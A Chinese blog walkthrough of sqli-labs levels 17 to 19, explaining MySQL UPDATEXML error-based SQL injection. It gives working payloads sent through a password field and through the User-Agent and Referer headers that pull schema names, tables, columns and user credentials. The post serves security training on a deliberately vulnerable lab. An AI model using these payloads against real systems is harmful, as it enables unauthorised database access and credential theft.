• sqli-labs Less17--Less19


    补充知识

    参考链接:

    https://www.jb51.net/article/125599.htm

    https://www.jb51.net/article/125607.htm

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    作用:改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值

    而我们的注入语句为: select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

    其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误

     Less-17

    首先添加代码,这里与以往不同,有两处

    通过登陆观察可以发现,这是一个更新密码的功能

     

    由下图可知,当usename正确时,sql语句中的密码才能显示出来

     所以,首先我们需要知道用户的名字才能进行接下来的操作

    uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit

    查库  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit

     查表  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit

     查列  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#&submit=Submit

     查数据  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users  limit 0,1)users ),0x7e),1)#&submit=Submit

    这里需要使用两层select查询,否则会报错

    Less-18

    添加两段代码

    登陆可以发现,登陆成功显示ip地址,sql语句,版本信息

    登陆失败只显示ip,如果反复登录失败可能是上一关把密码改了的原因,需要重置数据库,选择Setup/reset Database for labs,重置即可

     这一次无法在用户名和密码进行注入,发生了转义

     我们使用burpsuit抓包

     抓包后,在Headers里修改User-Agent里面,构造注入语句   'or updatexml(1,concat(0x7e,(database())),1) or '1'='1

    或者  'or updatexml(1,concat(0x7e,(database())),1) ,",")#   (注意最后不是双引号,是两对单引号)

    查库  'or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) or '1'='1

     查表 'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) or '1'='1

     查列 'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) or '1'='1

     查信息   'or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) or '1'='1

    Less-19

    通过分析登陆成功的语句,发现语句为inferer

     使用burpsuit抓包

     其他步骤与上一关相同,构造语句也是相同的

  • 相关阅读:
    ios 如何获得系统时间和日期
    IOS开发使用委托delegate在不同窗口之间传递数据
    集合视图UICollectionView 介绍及其示例程序
    iOS6新特征:UICollectionView介绍
    ios delegate和protocol
    iOS页面跳转及数据传递
    [转载]iOS6新特征:UICollectionView官方使用示例代码研究
    跟上潮流:十大移动应用开发平台
    UITextField 如何设置为密码方式显示?
    【转】 Android中Intent组件详解
  • 原文地址:https://www.cnblogs.com/heiwa-0924/p/12301192.html
Copyright © 2020-2023  润新知